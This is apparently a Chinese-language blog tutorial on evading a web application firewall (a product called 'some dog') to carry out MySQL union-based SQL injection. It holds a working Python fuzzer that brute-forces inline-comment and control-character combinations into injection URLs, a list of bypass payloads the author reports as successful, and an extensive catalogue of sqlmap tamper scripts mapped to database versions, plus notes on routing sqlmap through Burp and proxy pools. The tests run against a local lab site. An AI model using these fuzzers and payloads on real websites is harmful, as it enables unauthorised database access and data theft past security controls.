环境搭建:
网上在i春秋找的源码进行搭建
Fuzz脚本思路
如果有某狗存在的话,会对特殊字符进行拦截
所以我们需要自己构造payload
Fuzz脚本编写
fuzz脚本样例
#! -*- encoding:utf-8 -*-
# python3
import requests
fuzz_zs = ['/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']
fuzz_sz = ['',' ']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]
fuzz = fuzz_zs+fuzz_sz+fuzz_ch
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
url_start = "http://localhost:8980/fuzz/index.php?id=1"
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
exp = "/*!union"+a+b+c+d+"select*/ 1,2,3"
url = url_start + exp
res = requests.get(url = url , headers = headers)
print("Now URL:"+url)
if "标题" in res.text:
print("Find Fuzz bypass:"+url)
with open("IIS_results.txt",'a',encoding='utf-8') as r:
r.write(url+"\n")
放出部分规则给伸手党吧,希望你们能早日创造自己的脚本或者程序。
用对应的字符替换关键字即可绕过,(/*!union/*/**//*!/*!select*/,/*!select/*/**//*!/*!from*/, /*!user/*/**//*!/*!()*/)
http://localhost/fuzz/index.php?id=1/*!union/*/**//*!/*!select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!/*!union*//*!/*!select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!union/*/*?%0g*/select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!union/*/*%0z~/**/select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!union/*/*%0z!*/select*/ 1,2,3
http://localhost/fuzz/index.php?id=1/*!union/**//*!%0d/*!select*/ 1,2,3
'没能成功注入
随便找一个测试
意义回显,即表示绕过了某狗(这里我懒得状软件了),这里用了内联注释
内联注释用于mysql
/*!union/*/**//*!/*!select*/,/*!select/*/**//*!/*!from*/, /*!user/*/**//*!/*!()*/
/*!union/ 将关键处圈起
/**/ 、/**/、/*!union/*/**/、/*!select/、/**/./**/、/**/()/**/
/*!/*!select*/ 两个内联注释前缀+关键词+内联注释后缀
- apostrophemask.py 用UTF-8全角字符替换单引号字符
- apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
- appendnullbyte.py 在payload末尾添加空字符编码
- base64encode.py 对给定的payload全部字符使用Base64编码
- between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
- bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
- chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
- charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
- charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
- concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
- equaltolike.py 用“LIKE”运算符替换全部等于号“=”
- greatest.py 用“GREATEST”函数替换大于号“>”
- halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
- ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
- lowercase.py 用小写值替换每个关键字字符
- modsecurityversioned.py 用注释包围完整的查询
- modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
- multiplespaces.py 在SQL关键字周围添加多个空格
- nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
- overlongutf8.py 转换给定的payload当中的所有字符
- percentage.py 在每个字符之前添加一个百分号
- randomcase.py 随机转换每个关键字字符的大小写
- randomcomments.py 向SQL关键字中插入随机注释
- securesphere.py 添加经过特殊构造的字符串
- sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
- space2comment.py 用“/**/”替换空格符
- space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
- space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
- space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
- space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
- space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
- space2plus.py 用加号“+”替换空格符
- space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
- unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
- unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
- varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
- versionedkeywords.py 用MySQL注释包围每个非函数关键字
- versionedmorekeywords.py 用MySQL注释包围每个关键字
- xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
-
sqlmap版本当前为1.2.7.20,共有57个tamper脚本,与1.0版本相比新增了19个脚本。
序号 脚本名称 注释 1 0x2char 将每个编码后的字符转换为等价表达 2 apostrophemask 单引号替换为Utf8字符 3 apostrophenullencode 替换双引号为%00%27 4 appendnullbyte 有效代码后添加%00 5 base64encode 使用base64编码 6 between 比较符替换为between 7 bluecoat 空格替换为随机空白字符,等号替换为like 8 chardoubleencode 双url编码 9 charencode 将url编码 10 charunicodeencode 使用unicode编码 11 charunicodeescape 以指定的payload反向编码未编码的字符 12 commalesslimit 改变limit语句的写法 13 commalessmid 改变mid语句的写法 14 commentbeforeparentheses 在括号前加内联注释 15 concat2concatws 替换CONCAT为CONCAT_WS 16 equaltolike 等号替换为like 17 escapequotes 双引号替换为\\\\ 18 greatest 大于号替换为greatest 19 halfversionedmorekeywords 在每个关键字前加注释 20 htmlencode html编码所有非字母和数字的字符 21 ifnull2casewhenisnull 改变ifnull语句的写法 22 ifnull2ifisnull 替换ifnull为if(isnull(A)) 23 informationschemacomment 标示符后添加注释 24 least 替换大于号为least 25 lowercase 全部替换为小写值 26 modsecurityversioned 空格替换为查询版本的注释 27 modsecurityzeroversioned 添加完整的查询版本的注释 28 multiplespaces 添加多个空格 29 nonrecursivereplacement 替换预定义的关键字 30 overlongutf8 将所有字符转义为utf8 31 overlongutf8more 以指定的payload转换所有字符 32 percentage 每个字符前添加% 33 plus2concat 将加号替换为concat函数 34 plus2fnconcat 将加号替换为ODBC函数{fn CONCAT()} 35 randomcase 字符大小写随机替换 36 randomcomments /**/分割关键字 37 securesphere 添加某字符串 38 sp_password 追加sp_password字符串 39 space2comment 空格替换为/**/ 40 space2dash 空格替换为–加随机字符 41 space2hash 空格替换为#加随机字符 42 space2morecomment 空格替换为/**_**/ 43 space2morehash 空格替换为#加随机字符及换行符 44 space2mssqlblank 空格替换为其他空符号 45 space2mssqlhash 空格替换为%23%0A 46 space2mysqlblank 空格替换为其他空白符号 47 space2mysqldash 空格替换为–%0A 48 space2plus 空格替换为加号 49 space2randomblank 空格替换为备选字符集中的随机字符 50 symboliclogical AND和OR替换为&&和|| 51 unionalltounion union all select替换为union select 52 unmagicquotes 宽字符绕过GPC 53 uppercase 全部替换为大写值 54 varnish 添加HTTP头 55 versionedkeywords 用注释封装每个非函数的关键字 56 versionedmorekeywords 使用注释绕过 57 xforwardedfor 添加伪造的HTTP头 Part 3
下面以数据库为区分,给出每种数据库可供选择的tamper。若同一脚本适用不同数据库,则在每个数据库中都指出。
【MySQL】
版本 可用tamper编号 脚本名称 4/5.0/5.5 1 0x2char 6 between 9 charencode 16 concat2concatws 18 greatest 24 least 25 lowercase 35 randomcase 39 space2comment 49 space2randomblank 53 uppercase 5.1 7 bluecoat 46 space2mysqlblank 5.0/5.5 12 commalesslimit 13 commalessmid 21 ifnull2casewhenisnull 22 ifnull2ifisnull 42 space2morecomment 5.0 15 concat2concatws 26 modsecurityversioned 27 modsecurityzeroversioned 4.0/5.0 41 space2hash 5.1.56 10 charunicodeencode 5.1.56/5.5.11 32 percentage 56 versionedmorekeywords 4.0.18/5.0.22 19 halfversionedmorekeywords 4.0.18/5.1.56/5.5.11 55 versionedkeywords 5.1.41 43 space2morehash 未指定版本 14 commentbeforeparentheses 40 space2dash 45 space2mssqlhash 47 space2mysqldash 【SQLServer】
版本 可用tamper编号 脚本名称 2005/2000 10 charunicodeencode 32 percentage 44 space2mssqlblank 2005 6 between 9 charencode 16 equaltolike 25 lowercase 35 randomcase 39 space2comment 49 space2randomblank 53 uppercase 2002+ 33 plus2concat 2008+ 34 plus2fnconcat 未指定 14 commentbeforeparentheses 【Access】
版本 可用tamper编号 脚本名称 未指定 4 appendnullbyte 【Oracle】
版本 可用tamper编号 脚本名称 10g 6 between 9 charencode 14 commentbeforeparentheses 18 greatest 24 least 25 lowercase 35 randomcase 39 space2comment 49 space2randomblank 53 uppercase 【PostgreSQL】
版本 可用tamper编号 脚本名称 8.3/8.4/9.0 6 between 9 charencode 18 greatest 24 least 25 lowercase 39 space2comment 49 space2randomblank 53 uppercase 9.0 32 percentage 9.0.3 10 charunicodeencode 未指定 14 commentbeforeparentheses 35 randomcase 【MSSQL】
版本 可用tamper编号 脚本名称 未指定 38 sp_password 【SQLite】
版本 可用tamper编号 脚本名称 未指定 40 space2dash 【未知适用范围】
若以上脚本未解决问题,可尝试使用一下脚本。
版本 可用tamper编号 脚本名称 2 apostrophemask 3 apostrophenullencode 5 base64encode 8 chardoubleencode 11 charunicodeescape 17 escapequotes 20 htmlencode 23 informationschemacomment 28 multiplespaces 29 nonrecursivereplacement 30 overlongutf8 31 overlongutf8more 36 randomcomments 37 securesphere 48 space2plus 50 symboliclogical 51 unionalltounion 52 unmagicquotes 54 varnish 57 xforwardedfor
抓包分析
使用burp代理抓包sqlmap
使用代理池
Python2 proxy.exe
参考:http://www.lz1y.cn/archives/652.html